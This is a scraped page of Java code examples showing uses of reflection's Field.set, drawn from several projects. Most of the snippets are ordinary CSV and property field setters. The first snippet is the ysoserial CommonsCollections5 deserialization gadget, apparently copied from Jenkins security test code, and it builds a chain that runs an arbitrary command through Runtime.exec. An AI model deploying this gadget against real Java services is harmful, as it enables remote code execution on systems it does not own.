Example usage for java.lang.reflect Field set

List of usage examples for java.lang.reflect Field set

Introduction

In this page you can find the example usage for java.lang.reflect Field set.

Prototype

@CallerSensitive
@ForceInline 
public void set(Object obj, Object value) throws IllegalArgumentException, IllegalAccessException 

Source Link

Document

Sets the field represented by this Field object on the specified object argument to the specified new value.

Usage

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections5.java

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);/*from  w  ww . j av  a  2 s .  c  o m*/
    valfield.set(val, entry);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return val;
}

From source file:net.ceos.project.poi.annotated.core.CsvHandler.java

/**
 * Read a Date value from the CSV file.//from  www .j ava 2 s  . c  o  m
 * 
 * @param o
 *            the object
 * @param field
 *            the field
 * @param xlsAnnotation
 *            the {@link XlsElement} annotation
 * @param values
 *            the array with the content at one line
 * @param idx
 *            the index of the field
 * @throws ConverterException
 *             the conversion exception type
 */
protected static void dateReader(final Object o, final Field field, final XlsElement xlsAnnotation,
        final String[] values, final int idx) throws ConverterException {
    if (StringUtils.isNotBlank(values[idx])) {
        try {
            field.set(o, applyMaskToDate(xlsAnnotation, values, idx));
        } catch (IllegalArgumentException | IllegalAccessException e) {
            throw new ConverterException(ExceptionMessage.CONVERTER_DATE.getMessage(), e);
        }
    }
}

From source file:net.ceos.project.poi.annotated.core.CsvHandler.java

/**
 * Apply a LocalDate value to the object.
 * //from w w  w  .  jav  a 2  s.  c  o  m
 * @param o
 *            the object
 * @param field
 *            the field
 * @param xlsAnnotation
 *            the {@link XlsElement} annotation
 * @param values
 *            the array with the content at one line
 * @param idx
 *            the index of the field
 * @throws ConverterException
 *             the conversion exception type
 */
protected static void localDateReader(final Object o, final Field field, final XlsElement xlsAnnotation,
        final String[] values, final int idx) throws ConverterException {
    if (StringUtils.isNotBlank(values[idx])) {
        try {
            field.set(o, applyMaskToDate(xlsAnnotation, values, idx).toInstant().atZone(ZoneId.systemDefault())
                    .toLocalDate());
        } catch (IllegalArgumentException | IllegalAccessException e) {
            throw new ConverterException(ExceptionMessage.CONVERTER_LOCALDATE.getMessage(), e);
        }
    }
}

From source file:net.ceos.project.poi.annotated.core.CsvHandler.java

/**
 * Apply a LocalDateTime value to the object.
 * //w w w  . j av a2s.  c om
 * @param o
 *            the object
 * @param field
 *            the field
 * @param xlsAnnotation
 *            the {@link XlsElement} annotation
 * @param values
 *            the array with the content at one line
 * @param idx
 *            the index of the field
 * @throws ConverterException
 *             the conversion exception type
 */
protected static void localDateTimeReader(final Object o, final Field field, final XlsElement xlsAnnotation,
        final String[] values, final int idx) throws ConverterException {
    if (StringUtils.isNotBlank(values[idx])) {
        try {
            field.set(o, applyMaskToDate(xlsAnnotation, values, idx).toInstant().atZone(ZoneId.systemDefault())
                    .toLocalDateTime());
        } catch (IllegalArgumentException | IllegalAccessException e) {
            throw new ConverterException(ExceptionMessage.CONVERTER_LOCALDATETIME.getMessage(), e);
        }
    }
}

From source file:net.ceos.project.poi.annotated.core.CsvHandler.java

/**
 * Apply a Short value to the object./* w ww . java2  s. c o  m*/
 * 
 * @param o
 *            the object
 * @param field
 *            the field
 * @param values
 *            the array with the content at one line
 * @param idx
 *            the index of the field
 * @throws ConverterException
 *             the conversion exception type
 */
protected static void shortReader(final Object o, final Field field, final String[] values, final int idx)
        throws ConverterException {
    String iValue = values[idx];
    if (StringUtils.isNotBlank(iValue)) {
        try {
            field.set(o, Short.valueOf(iValue));
        } catch (IllegalArgumentException | IllegalAccessException e) {
            throw new ConverterException(ExceptionMessage.CONVERTER_SHORT.getMessage(), e);
        }
    }
}

From source file:net.ceos.project.poi.annotated.core.CsvHandler.java

/**
 * Apply a Integer value to the object./* w  ww  . j av  a 2 s  . com*/
 * 
 * @param o
 *            the object
 * @param field
 *            the field
 * @param values
 *            the array with the content at one line
 * @param idx
 *            the index of the field
 * @throws ConverterException
 *             the conversion exception type
 */
protected static void integerReader(final Object o, final Field field, final String[] values, final int idx)
        throws ConverterException {
    String iValue = values[idx];
    if (StringUtils.isNotBlank(iValue)) {
        try {
            field.set(o, Integer.valueOf(iValue));
        } catch (IllegalArgumentException | IllegalAccessException e) {
            throw new ConverterException(ExceptionMessage.CONVERTER_INTEGER.getMessage(), e);
        }
    }
}

From source file:net.ceos.project.poi.annotated.core.CsvHandler.java

/**
 * Apply a Long value to the object./*w  w w.  j a  v a 2  s.  c  o  m*/
 * 
 * @param o
 *            the object
 * @param field
 *            the field
 * @param values
 *            the array with the content at one line
 * @param idx
 *            the index of the field
 * @throws ConverterException
 *             the conversion exception type
 */
protected static void longReader(final Object o, final Field field, final String[] values, final int idx)
        throws ConverterException {
    String dValue = values[idx];
    if (StringUtils.isNotBlank(dValue)) {
        try {
            field.set(o, Double.valueOf(dValue).longValue());
        } catch (IllegalArgumentException | IllegalAccessException e) {
            throw new ConverterException(ExceptionMessage.CONVERTER_LONG.getMessage(), e);
        }
    }
}

From source file:net.ceos.project.poi.annotated.core.CsvHandler.java

/**
 * Apply a Float value to the object.//ww w  . j  a  v a 2s  . co  m
 * 
 * @param o
 *            the object
 * @param field
 *            the field
 * @param values
 *            the array with the content at one line
 * @param idx
 *            the index of the field
 * @throws ConverterException
 *             the conversion exception type
 */
protected static void floatReader(final Object o, final Field field, final String[] values, final int idx)
        throws ConverterException {
    String fValue = values[idx];
    if (StringUtils.isNotBlank(fValue)) {
        try {
            field.set(o, Float.valueOf(fValue));
        } catch (IllegalArgumentException | IllegalAccessException e) {
            throw new ConverterException(ExceptionMessage.CONVERTER_FLOAT.getMessage(), e);
        }
    }
}

From source file:fr.smartcontext.yatte.context.cli.properties.PropertiesContextInitializer.java

private void setFeature(Properties prop, String varName, Class<?> class_, Object instance, String feature)
        throws NoSuchFieldException, IllegalAccessException {
    String value = prop.getProperty(varName + DOT + feature);
    Field field = class_.getDeclaredField(feature);
    field.setAccessible(true);/*from   ww w. j ava2s . co m*/
    field.set(instance, value);
}

From source file:com.antonjohansson.elasticsearchshell.shell.output.ConsoleTest.java

private void setConsoleReader() {
    Field field = FieldUtils.getField(JLineShell.class, "reader", true);
    try {/* w w  w.  jav a2s  . c o  m*/
        field.set(shell, reader);
    } catch (IllegalArgumentException | IllegalAccessException e) {
        throw new RuntimeException("Could not set the 'reader' field on the shell");
    }
}